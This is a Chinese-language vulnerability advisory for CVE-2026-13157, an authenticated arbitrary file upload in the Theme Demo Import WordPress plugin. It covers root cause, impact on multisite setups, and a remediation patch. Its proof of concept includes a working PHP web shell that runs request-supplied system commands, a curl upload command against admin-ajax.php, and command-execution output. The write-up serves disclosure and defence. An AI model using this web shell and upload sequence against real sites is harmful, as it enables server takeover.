Huynh Kien Minh 深度技術分析:CVE-2026-13157 — Theme Demo Import 任意檔案上傳導致遠端程式碼執行

作者:Huynh Kien Minh (MinhHK) — 資訊安全研究員與開發者


📖 安全公告總覽

CVE-2026-13157 是一個已驗證的任意檔案上傳漏洞,影響 Theme Demo Import WordPress 外掛 1.1.3 版及更早版本,該漏洞由資安研究員 Huynh Kien Minh (MinhHK) 發現並分析。此漏洞存在於 AJAX 示範匯入流程 (TDI_import_demo_data) 中,外掛在處理上傳時明確停用 WordPress 標準檔案類型驗證測試 ('test_type' => false)。具備匯入權限的已驗證使用者(如預設網站管理員,或 WordPress Multisite 架構中的非超級管理員站台管理員)可繞過檔案限制機制,直接將任意可執行 PHP 腳本上傳至公開的 wp-content/uploads/ 目錄,達成持久性的遠端程式碼執行 (RCE) 並導致伺服器完全遭入侵。


📌 執行摘要與技術元資料

參數 技術規格
漏洞識別碼 CVE-2026-13157
目標軟體 Theme Demo Import (WordPress 外掛)
外掛代碼 theme-demo-import
受影響版本 <= 1.1.3
漏洞類別 不受限制的上傳危險檔案類型 (CWE-434 / OWASP A03)
CVSS v3.1 分數 6.6 (中風險) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H)
發現者/研究員 Huynh Kien Minh (MinhHK)
驗證單位 WPScan / MITRE Corporation
WPScan 公告參考 WPScan Report 5d6a6a8e-c224-4034-8ed5-2d63f37f9479
研究員作品集 https://minhhk.web.app/

🔍 根本原因與程式碼分析:停用核心 MIME 防護機制

WordPress 的結構架構嚴重依賴 wp_handle_upload() 等安全 API 包裝器,以保護公開網頁目錄免受惡意腳本攻擊。當擴充功能處理自訂資料傳輸時,開發者應宣告限制性 MIME 類型陣列以強制執行嚴格的內容驗證。

在對 theme-demo-import 外掛進行全面程式碼稽核時,研究人員在 inc/class-tdi-helpers.php 中定義的檔案上傳處理程式發現不安全的覆寫模式。在示範資料匯入操作期間,外掛透過 inc/class-tdi-main.php 第 55 行註冊的 AJAX 端點處理傳入的檔案附件:

// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );

進入全螢幕模式 離開全螢幕模式

當呼叫 wp_handle_upload() 處理使用者提供的匯入結構 (content_filewidget_filecustomizer_file) 時,內部匯入輔助程式會建立管理覆寫設定陣列:

// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
    'test_form' => false,
    'test_type' => false, // CRITICAL VULNERABILITY: Explicitly disables MIME & extension validation!
);

// Handle demo content and widgets file upload.
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

進入全螢幕模式 離開全螢幕模式

透過將 'test_type' => false 注入 $upload_overrides,應用程式刻意覆寫核心 WordPress 檔案驗證引擎 (wp_check_filetype_and_ext())。直接後果是外掛完全放棄 MIME 驗證,允許任何能存取匯入流程的已驗證使用者,以示範內容 XML/JSON 套件的名義提交可執行 PHP 檔案 (.php.phtml.phar)。這些可執行檔案會直接寫入 wp-content/uploads/<year>/<month>/ 的公開儲存空間,導致立即的遠端程式碼執行。


💻 攻擊概念驗證 (PoC)

道德研究免責聲明:以下詳述的攻擊步驟與驗證程式碼僅供教育稽核、安全程式碼檢閱及授權修復驗證之用。未經明確同意對生產環境進行未授權攻擊嚴格違法且違反專業道德標準。

稽核先決條件

  • 目標實例: 執行 Theme Demo Import <= 1.1.3 版本的 WordPress 站台。
  • 權限門檻: 具備 import 能力的已驗證管理員工作階段。
  • Nonce 提取: 存取 /wp-admin/themes.php?page=theme-demo-import 並檢查頁面 DOM 以擷取 AJAX 安全權杖 tdi-ajax-verification(可透過 tdi.ajax_nonce 以程式方式取得)。

逐步重現操作指南

  1. 建構 Web Shell 酬載: 準備互動式 PHP 命令執行腳本,本地儲存為 exploit_webshell.php
<?php 
/**
 * Diagnostic PoC Web Shell for CVE-2026-13157
 * Author: Huynh Kien Minh (MinhHK)
 */
if ( isset( $_REQUEST['cmd'] ) ) {
    echo "<pre>";
    system( $_REQUEST['cmd'] );
    echo "</pre>";
} else {
    echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>

進入全螢幕模式 離開全螢幕模式

  1. 執行 AJAX 酬載注入: 透過 cURL 傳送已驗證的多部分 POST 請求至 WordPress 管理 AJAX 端點:
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
  -F "action=TDI_import_demo_data" \
  -F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
  -F "content_file=@exploit_webshell.php;type=application/x-php"

進入全螢幕模式 離開全螢幕模式

  1. 驗證遠端程式碼執行: 伺服器回傳 200 OK JSON 回應,確認上傳檔案已成功儲存。直接瀏覽標準媒體上傳目錄中的上傳腳本 URL 以執行任意作業系統指令:
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=id HTTP/1.1
Host: <TARGET_HOST>

進入全螢幕模式 離開全螢幕模式

伺服器輸出:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

進入全螢幕模式 離開全螢幕模式


💥 威脅建模與企業多站台影響

雖然標準單站 WordPress 環境依設計賦予管理員廣泛的系統權限,CVE-2026-13157 在跨企業與多站台網路架構評估時,會造成嚴重的安全邊界失效:

  1. WordPress 多站台權限提升(站台管理員至網路超級管理員): 在 WordPress 多站台 (WPMU) 部署中,核心安全邊界刻意禁止個別子站台管理員安裝外掛、編輯程式碼佈景主題,或上傳可執行腳本擴充 (unfiltered_upload 嚴格限制僅限網路超級管理員)。CVE-2026-13157 打破此多租戶邊界,允許不受信任的子站台管理員透過外掛匯入處理程式上傳任意 PHP Web Shell,達成完整的網路伺服器入侵。
  2. 託管 WordPress 雲端容器繞過: 現代強化託管供應商會透過 DISALLOW_FILE_EDIT 與檔案系統寫入鎖定限制管理檔案編輯。攻擊者濫用外掛的合法附件上傳通道,可突破雲端容器控制,直接將可執行後門置入可寫入的持久性儲存空間。

🛡️ 修復與防禦性修補架構

為安全修復 CVE-2026-13157 同時不中斷合法的主題匯入操作,開發人員與安全工程師必須立即移除不安全的覆寫旗標,並在 inc/class-tdi-helpers.php 中實作嚴格的檔案類型驗證。

安全修復實作

移除不安全的覆寫 'test_type' => false,並強制執行僅限標準 WordPress 匯入格式 (text/xmlapplication/jsontext/plain) 的嚴格允許清單:

// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 515)
$upload_overrides = array(
    'test_form' => false,
    'test_type' => true, // Enforce WordPress core MIME check
    'mimes'     => array(
        'xml'  => 'text/xml',
        'json' => 'application/json',
        'wie'  => 'application/json',
        'dat'  => 'text/plain',
    ),
);

// Verify current user permissions before accepting file transfers
if ( ! current_user_can( 'import' ) ) {
    wp_send_json_error( array( 'message' => __( 'Insufficient privileges to execute demo data import.', 'theme-demo-import' ) ), 403 );
}

// Proceed with validated file handling
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

進入全螢幕模式 離開全螢幕模式


🏆 關於研究員

Huynh Kien Minh (MinhHK) 是一位資訊安全研究員、軟體工程師與漏洞分析師,專長於攻擊性 Web 應用程式安全、PHP 應用程式架構稽核,以及企業攻擊向量。其發現與技術公告已獲得全球漏洞權威單位與 CNA 指派者的正式驗證與認可。


📊 結構化元資料 (JSON-LD)

{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://github.com/MinhHK68/CVE-2026-13157#article",
      "headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13157 — Theme Demo Import Arbitrary File Upload",
      "alternativeHeadline": "Root Cause Analysis and Exploit Walkthrough for CVE-2026-13157 by Huynh Kien Minh",
      "author": {
        "@type": "Person",
        "name": "Huynh Kien Minh",
        "alternateName": "MinhHK",
        "url": "https://minhhk.web.app/"
      },
      "datePublished": "2026-08-01",
      "inLanguage": "en-US",
      "description": "Comprehensive security research advisory for CVE-2026-13157 affecting Theme Demo Import WordPress plugin prior to version 1.1.3. Analyzes arbitrary file upload vulnerability via disabled test_type check leading to Remote Code Execution.",
      "keywords": ["CVE-2026-13157", "Theme Demo Import", "Arbitrary File Upload", "Remote Code Execution", "RCE", "WordPress Security", "Huynh Kien Minh", "MinhHK", "WPScan"]
    },
    {
      "@type": "SecurityAdvisory",
      "@id": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/#advisory",
      "identifier": "CVE-2026-13157",
      "name": "Theme Demo Import <= 1.1.3 - Admin+ Arbitrary File Upload",
      "category": "Arbitrary File Upload / RCE",
      "cvssScore": "6.6",
      "severity": "Medium",
      "softwareVersion": "<= 1.1.3",
      "url": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/"
    }
  ]
}

進入全螢幕模式 離開全螢幕模式